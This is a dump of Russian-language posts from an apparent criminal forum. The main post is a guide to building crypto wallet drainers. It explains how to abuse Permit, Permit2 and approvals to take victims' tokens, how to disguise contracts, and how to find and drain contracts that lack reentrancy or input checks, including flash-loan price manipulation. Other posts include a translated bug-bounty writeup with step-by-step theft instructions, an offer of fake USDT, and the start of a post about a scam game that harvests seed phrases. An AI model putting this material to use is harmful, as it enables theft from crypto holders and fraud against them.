Эфир(eth) был создан как часть первоначальной архитектуры, когда сеть Ethereum начала жить.

Попрошу заметить, что Виталик и его команда приводят в жизнь идеи придуманные до них.

Корни блокчейн платформы по типу нынешнего эфира можно проследить до 1980 -х и 1990 -х годов, тогда Дэвид Чаум(вики содержит инфу о нём) изучал криптографические протоколы для цифровых денег.

Такой персонаж как Ник Сзабо создал концепцию смартконтрактов в конце 1990-х годов, самовоспроизводимые куски кода с записанными в них условиями/правилами/соглашениями. В 2005 году он создал Bit Gold, можно почитать в гугле как он к этому пришел, достаточно интересная история.

Ethereum был в основном разработан с использованием языка go(Golang, Гошка).
Го ведь можно считать низкоуровневым компилируемым?
Клиент Go Ethereum, так же известный нам как "Geth", является одной из популярных реализаций протокола Ethereum, и он написан на го.
Geth позволяет участвовать в сети Ethereum, проверять транзакции и запускать смартконтракты.

Хочу так же упомянуть, что есть другие клиенты, на других языках, Python (Pyethereum), Rust (Parity) и т.д.
В дополнение к вышеперечисленным, люди обычно используют языки более легкие, такие как Solidity для смартконтрактов, которые работают на EVM.
Solidity, с синтаксисом как у JavaScript, является наиболее часто используемым языком. Другие языки, Vyper и LLL, используются(вроде как), но я не пробовал.

1698333098379.png
К питупи (p2p).
Одноранговая сеть узлов, представляет собой архитектуру, в которой отдельные устройства - "узлы" связываются напрямую друг с другом без центрального сервера. Все узлы в сети равны, и ни один узел не имеет привелегий больше чем другой.
Если интересно почему p2p - круто, гуглите.

Узлы могут напрямую общаться, обмениваться данными, без посредников. Сети демонстрируют высокую избыточность, сеть может продолжать работу даже в случае сбоя одного канала или порта так как несколько узлов могут хранить и реплицировать данные. P2P по своей природе масштабируются. Поэтому П2П используется в IPFS и эфире, проще говоря - круче придумать сложно.

1698330690313.png
Gas gas gas i'm gonna step on the gas.
В Ethereum вычисления и взаимодействия с блокчейном что-то потребляют, вычислительные ресурсы которые назвали "газ".
В PoW платили газ, как поощрение майнерам за обработку своих транзакций. Чем сложнее операция или контракт, тем больше газа требуется.
В PoS вместо того, чтобы решать головоломки, валидаторы (стейкеры/валидаторы) выбираются для создания новых блоков и проверки транзакций на основе количества криптовалюты, которую они закладывают как депозит на обеспечение работы сети.

Почему газ, а не уголь или керосин?
Газ это если что не реальный отсчёт газа, а аллегорическое название от английского Gas как топливо для машины, чтобы двигатель работал ему нужнен Gas, собственно поэтому было выдано название газ, ведь на нём едет сеть эфира.

С этими стандартными знаниями можно переходить к делам насущным.

Выливаю на вас ведром информацию про хорошие функции в смарт контрактах которые вы можете использовать.

1698333182117.png
Юзайте Pulse chain в связке с Base chain. Это хардфорк эфира, модель дефляционная, более быстрое время блока (10 секунд вместо 12), более низкие платы за газ (на основе рыночного спроса вместо фиксированных пределов) и сжигание комиссий (25% сборов уничтожаются). Must have для вашего дрейнера, например.

Пишите свои контракты с нуля и давайте им кастомные имена. РАНДОМИЗИРУЙТЕ. Не страшно взять чужой код с гита и переписать под себя, зато так вы избежите большинства проблем.
Чтобы дать возможность кастомно давать имена, вы можете использовать строковую переменную для хранения имени функции, а затем использовать функцию Bytes4 для преобразования строки в подпись функции.
Например:

JavaScript:Copy to clipboard

pragma solidity ^0.8.0;


contract castomnoNaming{
    string public functionName;


    constructor(string memory _functionName) {
        functionName = _functionName;
    }


    function callFunction() public view returns (string memory) {
        bytes4 signature = bytes4(keccak256(bytes(functionName)));
        return string(abi.encodePacked(signature));
    }
}

Собственно у нас castomnoNaming имеет переменную FunctionName, которая хранит желаемое имя функции.
Функция callFunction использует хэш-функцию Keccak256 для создания уникальной 4-байтовой подписи для имени функции. Функция abi.encodepack затем используется для преобразования сигнатуры в строку, которая может быть возвращена функцией.

Можно настроить переменную FunctionName с любым значением строки, которое вы хотите, и функция callFunction будет генерировать уникальную сигнатуру для нее.

В контексте солидити сигнатура(signature/подпись) является уникальным идентификатором для функции, которая генерируется путем хэширования имени функции и типов входных параметров.
Функция Bytes4 используется для преобразования хэш в 4-байтовую подпись, которую можно использовать для вызова функций.
В примере кода выше функция callFunction использует хеш-функцию Keccak256 для генерации уникальной 4-байтовой подписи для переменной FunctionName.
Функция abi.encodepack затем используется для преобразования подписи в строку, которая может быть возвращена функцией снова.

Пермиты. Permit и Permit2.

Permit позволяет пользователю дать разрешение контракту на использование своих токенов в одной транзакции, без необходимости выполнения approve(иногда нужно). Это упрощает работу, повышает безопасность и снижает трату газа.

Permit введён в стандарте EIP-2612, сам стандарт вводит новую функцию permit() в стандарт ERC-20.
Функция permit() принимает набор параметров, таких как владелец, расходник, сумма, срок и подпись владельца.
Подпись формируется путем подписания фрагмента данных, включающего имя токена, версию, идентификатор цепочки и nonce. Nonce - это уникальное число, которое предотвращает атаки повторного воспроизведения.
Чтобы воспользоваться пермитом, юзер должен подписать данные своим закрытым ключом и отправить их к вашему контракту, который пытается юзануть токены юзера.
Затем ваш контракт может вызвать функцию permit() на контракте токена(ов), указав в качестве аргумента подписанные данные. Это приведет к обновлению баланса потенциального mammonth до указанной суммы.
Затем ваш контракт может перевести токены со счета владельца с помощью функции transferFrom().

Но почему все контракты юзают пермит2?
Разница между пермит и permit2 заключается в том, что permit - это функция, которая работает только для токенов, поддерживающих стандарт EIP-2612, а permit2 - это функция, которая работает для любого токена ERC-20, даже если он не поддерживает EIP-2612.
Популярные кейсы для Permit2 - это оплата транзакций токенами(те самые fees), мета-транзакции, флэш-кредиты и децентрализованные биржи(DEX).

Как permit, так и permit2 позволяют пользователям утверждать передачу токенов с помощью подписанного сообщения вместо отправки транзакции.
Это позволяет сэкономить на газе.
Однако permit2 также требует дополнительного параметра target, который представляет собой адрес контракта, выполняющего перевод токенов

Пример пермита основанный на EIP-2612

JavaScript:Copy to clipboard

function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
    require(deadline >= block.timestamp, "ERC20Permit: expired deadline");
    bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), _getChainId(), address(this)));
    bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
    bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
    address recoveredAddress = ecrecover(digest, v, r, s);
    require(recoveredAddress != address(0) && recoveredAddress == owner, "ERC20Permit: invalid signature");
    _approve(owner, spender, value);
}

Пример пермита2 основанный на Permit2

JavaScript:Copy to clipboard

function permit2(address owner, address target, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
    require(deadline >= block.timestamp, "ERC20Permit: expired deadline");
    bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), _getChainId(), address(this)));
    bytes32 structHash = keccak256(abi.encode(PERMIT2_TYPEHASH, owner, target, tokenId));
    bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
    address recoveredAddress = ecrecover(digest, v, r, s);
    require(recoveredAddress != address(0) && recoveredAddress == owner, "ERC20Permit: invalid signature");
    _transfer(owner, target, tokenId);
}

Основные отличия заключаются в следующем:

permit использует value для указания количества токенов, которое необходимо одобрить для расходующего, а permit2 использует tokenId для идентификации конкретного токена, который необходимо передать целевому.

permit вызывает _approve, чтобы обновить количество токенов у расходующего, а permit2 вызывает _transfer, чтобы переместить токен от владельца к получателю.

permit использует nonce, основанный на адресе владельца, для предотвращения атак повторного воспроизведения, в то время как permit2 не нуждается в nonce, поскольку каждый токен имеет уникальный идентификатор.

Approve
Апрув - это термин, используемый для описания процесса предоставления разрешения другому контракту или адресу на расходование определенного количества токенов от имени владельца.
Это делается путем вызова функции approve из контракта ERC20/ERC721, которая принимает 2 аргумента - адрес расходующего и количество токенов.
Функция approve выдает событие Approval и обновляет карту allowance mapping. В маппинг летит лог сколько каждый тратящий может потратить из баланса каждого владельца.

SAFA (Single Approval For All) - простой и удобный способ подтверждения контракта для расходования любого количества токенов с баланса владельца (в ERC20 не существует встроенной фукнции SAFA, поэтому для 20-ки используем Permit2, для 721 же есть SetApprovalForAll внутри контракта, причем следует упомянуть, что мы можем вызывать её оффчейном, с помощью джаваскрипта и библиотеки Web3.JS).

Для этого вызывается функция approve с максимально возможным значением (2^256

Single Approve(сингл) - более безопасный способ одобрения на расходование токенов.
Для этого нужно вызвать функцию approve, указав в качестве аргумента amount точное количество токенов. Таким образом, мы ограничиваем токены для тратящего и предотвращаем возможные фроды.
Однако это также требует больших затрат на газ, вызывать функцию approve каждый раз, когда надо взаимодействовать с одним и тем же отправителем - затратно. Поэтому часто об разрабы контрактов просто забывают об этой мелочи, при желании можете попробовать деплоить контракт с синглом без проверок, дабы качать бабки из какого-нибудь noname контракта.

ERC20 Approve - стандартный способ одобрения расходование определенного количества токенов. Для этого вызывается функция approve с неким положительным количеством токенов в качестве аргумента amount. Функция approve проверяет, существует ли уже надбавка для того же пользователя, и если да, то заменяет баланс на новую сумму.
Таким образом, владелец может в любой момент обновить или отозвать свое разрешение, вызвав функцию approve еще раз с другой суммой.
При этом возникает уязвимость, известная как multiple withdrawal. Если интересно, то изучай тут.

Auto-Claim Old Approval (ACOA)
Функция, позволяющая получать токены без необходимости каждый раз подтверждать перевод.
Работает так: смартконтракт устанавливает высокий лимит на расходование токенов пользователя, а затем с помощью функции _transfer() отправляет токены на адрес пользователя.
Таким образом, можно требовать токены многократно, не оплачивая газ.
Глядите на контракт и замечайте вот такую фишку

JavaScript:Copy to clipboard

function autoClaimOldApproval(address receiver, uint256 amount) public returns (bool) {


        require(allowance(receiver, address(this)) >= amount, "Insufficient allowance");
        
        _transfer(address(this), receiver, amount);
        return true;
    }
}

Если в коде нет строчки require, это значит что функция не проверяет то есть ли у пользователя позволение на выполнение действий с контрактом, таким образом это по сути самый легкий способ найти уязвимость в контракте.

Кода в секции Approve мало, так как он уже имплементирован в самые основные контракты.sol, поэтому в основном к ним обращаются из них, однако стоит упомянуть что если вы хотите кастомизировать его, то придётся писать его с 0 для себя.

Balance drains
Один из видов заработка, использующий уязвимость некоторых функций, позволяющих выводить средства из контракта.
Мы можем вызвать функцию несколько раз до того, как контракт обновит баланс, и вывести все средства из контракта.
Это может привести к большим прибавкам на нашем балансе и потерям для владельца контракта и других пользователей.

Защищаются от такого по своему, использование modifier'ов(модификаторы) в коде контракта, и защита от[reentrance](https://hackernoon.com/hack-solidity- reentrancy-attack) (тут та же инфа на ру)
То есть если вы видите в коде что-то такое:

JavaScript:Copy to clipboard

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


contract MATIC{
    mapping(address => uint256) public balances;


    modifier enoughBalance(uint256 amount) {
        require(balances[msg.sender] >= amount, "Not enough balance");
        _;
    }


    bool private locked;


    modifier noReentrancy() {
        require(!locked, "Reentrant call");
        locked = true;
        _;
        locked = false;
    }


    function withdraw(uint256 amount) public enoughBalance(amount) noReentrancy {
        balances[msg.sender] -= amount;
        payable(msg.sender).transfer(amount);
    }
}

Где есть переменная для хранения входного состояния (bool private locked) то модификатор просто не позволит вам прогнать нужные фукнции повторно.
Делайте из этого соответствующие выводы и делайте money на контрактах где такого модификатора нема.

Token Transfer
Процесс отправки определенного количества токенов с одного счета на другой.
Используется 2мя функциями transfer или transferFrom, которые обновляют балансы отправителя и получателя в соответствии с заданной суммой.
Функция transfer может использоваться для отправки токенов со своего счета на другой счет, а функция transferFrom - для отправки токенов со счета, который разрешил вам тратить токены от его имени.
Собственно их всегда юзают в комплекте с функциями перечисленными выше, так как сами по себе они используются в совсем топорных ситуациях.
Например: После того как ваш скрипт понял что юзер не будет подписывать Permit и Approve и даже давать подпись на пользование нативной валютой сети, вы ставите Transfer как последний авангард защиты, напрямую предлагая совершить перевод средств, без каких либо попыток утаить это.
Для данной секции даже код не буду писать так как он представлен вообще во всех гайдах, нет ничего интересного в нём.
Так же я не смог придумать или найти в сети какой-то способ абуза данной функции, поэтому можно держать в голове но пропускать.

Поддержка всех токенов пула ликвидности Curve. Флеш кредиты.
ИСПОЛЬЗОВАТЬ ОБЯЗАТЕЛЬНО!
Компания Conic Finance недавно ввела эту фичу. Она позволяет распределять ликвидность одного актива, например USDC или DAI, по различным пулам Curve, таким как 3pool или sUSD pool.
Ликвипул - набор определенных токенов, законсервированных в смартконтракте и используемых в процессе торговли или кредитования. В свою очередь Омнипул это тот же пул ликвидности который поддерживает несколько токенов в одном пуле.

Уязвимости очевидны, например, если контракт не проверяет входные данные и не проверяет когда его вызывают извне, он может быть уязвим для reentrancy или flashloan, это типы атак с которыми мы можем многоразово вызывать функции контракта и выводить из него средства или манипулировать его состоянием, например юзать флеш-кредиты(мгновенные займы в defi)
Проще говоря берём в долг значительную сумму без залога, манипулируем ценой токена или актива на одной бирже и продаем его на другой. Самый дешевый способ обогатить себя. Нам просто нужен доступ к пулу ликвидности, чтобы занять средства без залога, любой желающий может с легкостью осуществить это, ипользование колебаний цен на активы на криптобиржах открывает дорогу флеш- кредитам, в мире существуют сотни бирж, из-за чего определить реальную цену криптоактива очень сложно.

Что для этого нужно? - спросите вы. Я отвечу: проверь модификаторы(modifier), операторы require или функции revert для проверки вводимых данных и выполнения условий, если их нет или они написаны неверно, сам знаешь что надо делать.

Ещё немного про пулы
Пулы ликвидности как мы помним это наборы средств позволяющих пользователям обменивать токены на децентрализованных биржах (DEX), таких как Uniswap, PancakeSwap или Velodrome.
Поставщики ликвидности (LP) - лица физизические(брокеры) или юридические(компании/организации), которые размещают свои токены в этих пулах и получают комиссию от сделок. Однако LP также сталкиваются с такими рисками, как непостоянная потеря, которая заключается в разнице между хранением токенов в пуле и в кошельке.
Итак самые популярные штуки в этом деле и как они работают:

Уязвимость Velodrome LPs.
Даю направление - бот, использующий уязвимость во внешнем маршрутизаторе(торговом, не вайфай) Velodrome, который исключает некоторые пулы из механизма маршрутизации.
Это создает диспаритет цен между различными пулами и позволяет боту осуществлять треугольный арбитраж и выкачивать прибавочную стоимость из пулов.

Уязвимость Pancakev2 LPs.
Испольование перехода с PancakeSwap v1 на v2, в результате которого LPs должны были вывести свои токены из старых пулов и внести их в новые, кто-то может создать поддельные пулы с похожими названиями и обманом заставить LP внести туда свои токены, а затем снять их. Думайте как использовать.

Уязвимость LPs из Uniswap v2.
Используем атаку reentrance в смарт-контрактах Uniswap v2, осуществляем внешние вызовы по произвольным адресам, создаём вредоносный контракт, который обращается к контракту Uniswap и снимает больше средств, чем должен, и так несколько раз, пока пул не опустеет.

Анстейкинг GMX
Стейкинг токенов GMX позволяет получить токены stGMX, которые используются для получения вознаграждения esGMX и AVAX.
Анстейкинг GMX, делается через функцию withdraw в смартконтракте GMX, который задеплоен в сеть Avalanche.
Функция withdraw принимает два параметра: идентификатор пула и количество токенов.
ID пула можно достать если изучить код контракта, хотя вроде они и на сайте оставляют эту инфу.

JavaScript:Copy to clipboard

import "https://github.com/gmx-io/gmx-contracts/blob/master/contracts/interfaces/IMasterChef.sol";


address gmxContract = 0x908C4D94D34924765f1eDc22A1DD098397c59dD4;


uint256 poolId = 0;


uint256 amount = 1000000000000000000; // это 1 гмх


IMasterChef gmx = IMasterChef(gmxContract);


gmx.withdraw(poolId, amount);

Кстати говоря к чему я это, суть, GMX контракт содержит в себе уязвимость которая позволяет вам при получении разрешения юзера управлять процессом стейкинга/анстейкинга, как это использовать? Ну тут уж сами думайте.

1698334923090.png
К вопросу почему все используют seaport.
Новый протокол Web3 для покупки и продажи NFT, разрабы важные господа прямиком из OpenSea.
В чём суть?
Предлагающий может выбрать по одному контракту любые токены для предложения, будь то ERC20 ERC721 ERC1155, в любом количестве. Для завершения сделки получатель должен предоставить определенные активы в качестве "вознаграждения", указанного предлагающим. Предлагающий указывает предлагаемые им активы, а получатель - активы, которые он предоставит взамен. Если обе стороны согласны с условиями и активы совпадают, предложение принимается, и сделка совершается.
Удобство - 10/10.
Уязвимости - имеются.

1698335145059.png
AAVE to USD
Часто в последний год можно было заметить в дрейнерах функции связанные с AAVE.
Это протокол ликвидности с открытым исходным кодом, который позволяет пользователям кредитовать, занимать и получать проценты на крипто-активы через смартконтракты и пулы ликвидности на эфире.
Часто вы задумываетесь, а что если бы мой контракт сам высчитывал AAVE? Это вполне возможно сделать.
Вот вам динамический подсчёт AAVE в USD (и обратно можно дописать я думаю)

JavaScript:Copy to clipboard

pragma solidity ^0.8.0;


import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol";


interface IPriceFeed {
    function getLatestPrice() external view returns (uint256);
}


contract AaveCalculator {
    IERC20 public aaveToken;
    IPriceFeed public priceFeed;


    constructor(address _aaveTokenAddress, address _priceFeedAddress) {
        aaveToken = IERC20(_aaveTokenAddress);
        priceFeed = IPriceFeed(_priceFeedAddress);
    }


    function calculateAmount(uint256 _usdAmount) public view returns (uint256) {
        uint256 aavePriceInUSD = priceFeed.getLatestPrice();
        uint256 aaveAmount = (_usdAmount * 1e18) / aavePriceInUSD;
        return aaveAmount;
    }
}

IPriceFeed - интерфейс который взаимодействует с API coinmarketcap и выдаёт вам последние данные по AAVE - USD.
Чтобы этот код работал - _aaveTokenAddress и _priceFeedAddress должны указывать на реальные контракты или сервисы по мониторингу цен, например coinGecko или CoinMarketcap. Их вы будете указывать при деплое контракта.

Dynamic slippage для swap функций(скольжение).
1698335656534.png
В контексте трейдинга так называют разницу между ожидаемой ценой торговли и фактической ценой, по которой осуществляется сделка.
Если быть точным - максимально допустимое отклонение цены для рыночных ордеров (ордеров на покупку или продажу).

Например, на UNISWAP, automatic slippage будет составлять от 0,1% до 5%, в зависимости от сетевой стоимости и размера свапа, чтобы дать пользователям лучший результат обмена. Если slippage низкий ваша транзакция словит error, а если он установлен слишком высоко скорее всего получите меньше токенов чем ожидалось при обмене.

В коде dynamic slippage для обмена можно сделать так:
Используем параметр SlippageToLerance в функции SwapexActTokenSfortOkens в контракте IUniswapV2Router02.

Code:Copy to clipboard

pragma solidity ^0.8.0;


import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";


contract DynamicSlippageSwap {
    IUniswapV2Router02 public uniswapRouter;


    constructor(address _uniswapRouter) {
        uniswapRouter = IUniswapV2Router02(_uniswapRouter);
    }


    function swapTokens(
        uint256 _amountIn,
        uint256 _amountOutMin,
        address[] memory _path,
        address _to,
        uint256 _deadline,
        uint256 _slippage
    ) external {
        uint256 amountInWithSlippage = (_amountIn * (10000 - _slippage)) / 10000;
        uniswapRouter.swapExactTokensForTokens(
            _amountIn,
            _amountOutMin,
            _path,
            _to,
            _deadline
        );
    }
}

DynamicSlippageSwap контракт используя готовый интерфейс IUniswapV2Router02 может взаимодействовать с юнисвапом.
Функция swapTokens принимает 5 параметров - _amountIn, _amountOutMin, _path, _to, _deadline.
_slippage существует для того чтобы высчитать amountInWithSlippage, это количество токенов на входе которые должны быть свапнуты, учитывая так называемое "скольжение"(slippage) цены.
Функция swapExactTokensForTokens вызывается с изначальными 5-ю параметрами. Таким образом вы можете установить свой dynamic slippage сами, в зависимости от желания, так вы можете контролировать Автосвап в вашем смартконтракте, а следовательно повысить успеваемость.

На сегодня всё, больше мне не о чем вам рассказать.
Задайте интересные вопросы и я возможно сделаю 2-ю часть в которой отвечу на них.

Исправления логики пользовательского одобрения в Redacted Cartel
ID: 67686ad7b4103b69df37995e
Thread ID: 68202
Created: 2022-06-06T04:32:40+0000
Last Post: 2022-06-06T04:32:40+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

1655121724700.png

Резюме ​

Уайтхэт Томмазо Пиффери представил уязвимость в Redacted Cartel через Immunefi 11 января. Уязвимость была оценена как критическая, поскольку она позволила бы злоумышленнику присвоить себе права пользователя, что позволило бы злоумышленнику украсть средства этого пользователя. Фонды, находящиеся под угрозой, составляли чуть менее 6 миллионов долларов. Redacted исправил ошибку и заплатил белому хакеру 560 000 долларов за находку.
Стандарт токенов ERC-20 является наиболее распространенным стандартом в экосистеме Ethereum. Многие пользователи Ethereum уже знают, что делает токен ERC-20 и какие у него функции.
Цель ERC-20 approve ( spender, amount ) функции состоит в том, чтобы позволить любому адресу тратить токены от имени владельца токена. Например, Алиса разрешает Бобу потратить 20 токенов Алисы из ее кошелька. У Боба 20 токенов, и он переводит жетоны через функцию transferFrom(sender, recipient, amount), которая делает именно то, что следует из названия.

OpenZeppelin создал основу для широко используемых стандартов, таких как ERC-20 или ERC-721. Фреймворк содержит проверенные в бою реализации, поэтому разработчикам не нужно повторно реализовывать различные EIP.

Уязвимость здесь заключалась в ошибочной реализации стандартных функций ERC-20 в токене wxBTRFLY REDACTED, который представляет собой обернутую версию xBTRFLY. Это тоже было внутри функции transferFrom но дело было в другом. Это позволяло злоумышленнику взять чужие токены и передать их злоумышленнику, чтобы он мог украсть средства у пользователя.

Анализ уязвимостей ​

Проблема заключается в выделенном участке [кода ](https://github.com/redacted- cartel/REDACTED-Smart-Contracts/blob/main/contracts/WXBTRFLY.sol#L826).

1655121751300.png

Функция _approve принимает в качестве аргументов следующие параметры:

Эта функция сначала отправляет токены из учетной записи отправителя в учетную запись получателя ( первая строка кода ). Затем он уменьшает разрешение/утверждение для учета токенов, которые мы только что переместили. И здесь мы видим, в чем проблема.

Вместо чтения и записи разрешения/утверждения от отправителя оператору ( msg.sender ), функция считывает разрешение/утверждение от отправителя получателю и записывает отправителя оператору ( msg.sender )! Это означает, что при каждом вызове transferFrom в конце мы получаем одобрение получателя за вычетом отправленной суммы. Это может быть использовано таким образом, что хакер может украсть деньги у пользователей и отправить их на наш адрес!

Пошаговое руководство по атаке:

  1. У Алисы есть 1000 wxBTRFLY, и она подтверждает свой контракт на расходование 1000 wxBTRFLY от ее имени.
  2. Боб вызывает функцию wxBTRFLY.transferFrom(Alice, aliceContract, 0). Таким образом, перевод не происходит, но из-за ошибки с доплатой Боб получает надбавку за деньги Алисы, равную 1000 wxBTRFLY.
  3. Боб еще раз вызывает функцию wxBTRFLY.transferFrom (Alice, bob, 1000) и крадет все средства у Алисы

Исправление уязвимости ​

В новой версии токена удалены FrozenToken контракт, который содержал уязвимые transferFrom функции. Теперь wxBTRFLY опирается на реализацию ERC-20 от OpenZeppelin.

Перевод [отсюды.](https://medium.com/immunefi/redacted-cartel-custom-approval- logic-bugfix-review-9b2d039ca2c5)

У кого-то воровали usdt?
ID: 67686ad7b4103b69df379793
Thread ID: 107670
Created: 2024-02-07T02:32:47+0000
Last Post: 2024-02-11T13:27:57+0000
Author: booblik
Replies: 23 Views: 1K

У одного хорошего товарища внезапно утащили большую сумму в юсдт (trc20), причем ничего не предвещало - пользуется трастом на айфоне, на скамы не ведется. Пока не понимаю через какую дыру могли это сделать. Кто-то вообще пытался такие кейсы прорабатывать? можно ли как-то вернуть? там в tether например репорт написать или еще куда зарепортить?

XMR откупят?
ID: 67686ad7b4103b69df379796
Thread ID: 107633
Created: 2024-02-06T15:50:57+0000
Last Post: 2024-02-07T17:01:23+0000
Author: impwned
Replies: 20 Views: 1K

1707234489577.png
1707234529382.png
XMR в принципе не представляет себя как актив для инвестиции, поэтому на данный момент ситуация выглядит крайне печально. Смогут ли холдеры и киты вернуть цену уже после делистинга, и сколько в это нужно будет вложить сил?

I need some advice....
ID: 67686ad7b4103b69df3797ad
Thread ID: 104942
Created: 2024-01-01T15:36:29+0000
Last Post: 2024-01-13T07:29:10+0000
Author: Yuji0x01
Replies: 36 Views: 1K

Hi everyone and happy new year! ^ _ ^
I've received yesterday 300$ in btc from a friend in this forum... I wouldn't believe this at all.. Like I haven't get even 10$ in my hole life :') ... So I stayed all night thinking what to do with her... He asked me to open a new wallet and give him my Bitcoin address... And you have successfully received it... Do you have any idea how I can invest it in any way? Do I have to keep it like this and wait for the value of Bitcoin to increase? Or should I withdraw it completely? I have no ideas about this area... I am only interested in the field of malware development....Maybe if you succeed in investing it... I will update my old computer that I was using since 2014...this is my config :
Intel Celeron G1620 2.7Ghz
4Gb DDR3 2×2 1600Mhz
Graphic card : Intel HD Graphics 288Mb

I hope someone will help me with this... And thank you in advance <<3

Полезные ресурсы на халяву.
ID: 67686ad7b4103b69df3797b1
Thread ID: 102420
Created: 2023-11-17T11:18:08+0000
Last Post: 2024-01-09T13:27:03+0000
Author: Logmen
Replies: 5 Views: 1K

Привет всем форумчанам. Хочу поделиться полезной инфой, которой пользуюсь сам.

DefiLlama - агрегатор DeFi TVL. Интересная статистика по многим блокчейнам.
Кого взломали, актуальные аирдропы и много другого. Абсолютно бесплатно.

https://defillama.com

Arkham Intelligence - полезный инструмент для отслежки деятельности крипто-кошельков, контрактов
и теоретической деанонимизации их владельцев. Возможно тесно работают с регуляторами.
Региться или нет, решает каждый сам. После регистрации доступен функционал визуализации.
Интересная фича.

Arkham

EigenPhi - статистика по транзам MEV например sandwich, arbitrage, flash loans в сетях ETH и BSC
Абсолютно бесплатно.

![eigenphi.io](/proxy.php?image=https%3A%2F%2Fseo.eigenphi.io%2Fpage.png%3Furl%3Dhttps%253A%252F%252Feigenphi.io%252F%253Fselector%253D.arbitrage- container&hash=3f6c8cf9554e769ca60eb7e4017dfcc1&return_error=1)

MEV Data | EigenPhiï½Wisdom of DeFi

Discover the most comprehensive live MEV data to reveal crypto earning strategies of bots and expose hidden risks of DeFi on Ethereum and BSC, updated in real-time. EigenPhi is a token flow-oriented data platform, focusing on bottom-up analysis starting from the transaction structures, such as...

eigenphi.io eigenphi.io

Тenderly - развёрнутая статистика по транзам MEV (sandwich, arbitrage, flash loans) в сетях ETH и BSC.
Есть бесплатный тестовый период на 14 дней. После этого можно региться с новой емайл
и получать новый халявный доступ.

Tenderly Dashboard

Tenderly is a full-stack infrastructure that gives Web3 teams the only multichain node RPC with built-in development environments and debugging tools. Move fast from development to on-chain deployment across any EVM- compatible chain with a fully customizable infrastructure for your entire dapp...

dashboard.tenderly.co dashboard.tenderly.co

Codeium - бесплатный набор инструментов для разработчиков на основе искусственного интеллекта.
Есть бесплатный доступ.

codeium.com

Codeium · Free AI Code Completion & Chat

Codeium offers best in class AI code completion, search, and chat — all for free. It supports over 70+ languages and integrates with your favorite IDEs, with lightning fast speeds and state-of-the-art suggestion quality.

codeium.com codeium.com

**Bitquery Inc. **- агрегатор статистики различных сетей.

Blockchain Explorer By Bitquery

Track Blockchain transaction for 20+ blockchains, check Bitcoin explorer, Ethereum explorer and other blockchain explorers by Bitquery

explorer.bitquery.io explorer.bitquery.io

Chainlist - список сетей EVM. Публичные узлы (адреса) RPC.

https://chainlist.org/

Майнинг интернета
ID: 67686ad7b4103b69df3797b3
Thread ID: 84967
Created: 2023-03-31T20:04:39+0000
Last Post: 2024-01-07T09:26:09+0000
Author: gliderexpert
Replies: 18 Views: 1K

Идея на оценку.

Создается сеть из обычных wifi точек доступа, но используются либо модифицированные прошивки, либо дополнительный софт устанавливаемый на ПК.
Фактически это должна быть высокоскоростная MESH-сеть, построенная по технологии радиодоступа (wifi т.к. оборудование доступно массово), но с точками выхода в тор (а значит и в клирнет через тор, тоже).

Пользователь, подключающийся к этой сети - платит некоторые деньги в криптовалюте за ее использование.
Владельцы узлов, обеспечивающих функционирование этой сети - получают % за обработанный пользовательский траф
(может быть тут еще нужно ввести дополнительные проценты за дальность канала, устойчивость и прочее).

Тот кто держит высокоскоростные или дальнобойные каналы - получает больше денег, это мотивация "инженеров" сети.
Мотивация для пользователей - дать им доступ, более дешевый чем мобильная связь/мобильный интернет. Плюс прокинуть интернет в те места где с высокой скоростью проблемы.
Пример - окрестности крупных городов. В условной Москве или СПб можно купить гигабитный канал за 1000р/мес, а в 20км от границы города - уже извиняйте, 100мб/3000р и то не факт.
Даже если рассмотреть только Москву и СПб - это тысячи потенциальных абонентов которые могут раздавать траф и десятки тысяч готовых покупать его.

Плюс независимость от хотелок роскомнадзоров и прочих не нужных структур, но это уже вторично.

Получается, что во первых создается сеть - не зависимая от государства, что хорошо - трудно блокировать, контролировать и прочее.
Как районные локальные сети на витой паре в двухтысячных годах - с внутренними IRC чатами, ftp серверами где лежали тонны вареза, фильмов и т.д. Только масштабом с континент.

Во вторых - образуется множество точек выхода в интернет, и это дает возможность разбивать траф на ноды TORа через разные точки подключения - у СОРМов не хватит ресурсов собрать мозаику обратно.
Что тоже хорошо.

Обсирайте. :D

fake usdt>btc>eht>litecoin
ID: 67686ad7b4103b69df3797c0
Thread ID: 98618
Created: 2023-09-22T14:33:18+0000
Last Post: 2023-12-15T23:35:54+0000
Author: fantomlog
Replies: 5 Views: 1K

Spoiler: Закрыто на депозит

I will create a fake crypt. for cold wallets. how does it work? I'm crediting the crypt to you (the amount you need), you will receive it to your wallet (example: metamask), you will be able to transfer it to other wallets. the commission for the transfer will be from the total balance. it cannot be brought to the stock exchange. the cost is being discussed!

создам фейк крипту. для холодных кошельков. как это работает? я вам зачисляю крипту (нужное вам количество) вы получаетет ее на свой кошелек ( пример: метамаск), сможете ее переводить на дургие кошельки. комиссия за перевод будет с общего баланса. выводить на биржу ее нельзя. стоимость обсуждается! TG @ trafolog

Как я добывал сид фразы с дрочеров
ID: 67686ad7b4103b69df3797cd
Thread ID: 96310
Created: 2023-08-22T16:59:33+0000
Last Post: 2023-11-06T01:06:13+0000
Author: baykal
Prefix: Статья
Replies: 7 Views: 1K

Доброго времени суток. Не будем мусолить тему, приступим сразу к делу.

Недавно решил вспомнить былое, как работал в unreal engine (в разделе архитектура)

1.png

Так как ранее держал фирму для подтверждения доходов на данную тематику и тут в голову пришла мысль: "А почему не попробовать сделать скам игры для сидок или для сбора каких либо данных. Ну на край сделаю проброс на сайт".

Вначале начал шерстить интеренет, на похожие вещи, может быть ктото додумался до таких банальных вещей еще до меня, но полазив в инете по рекламе и по баннерам на куче сайтов так ничего и не нашел. Значит можно приступать и тестировать.

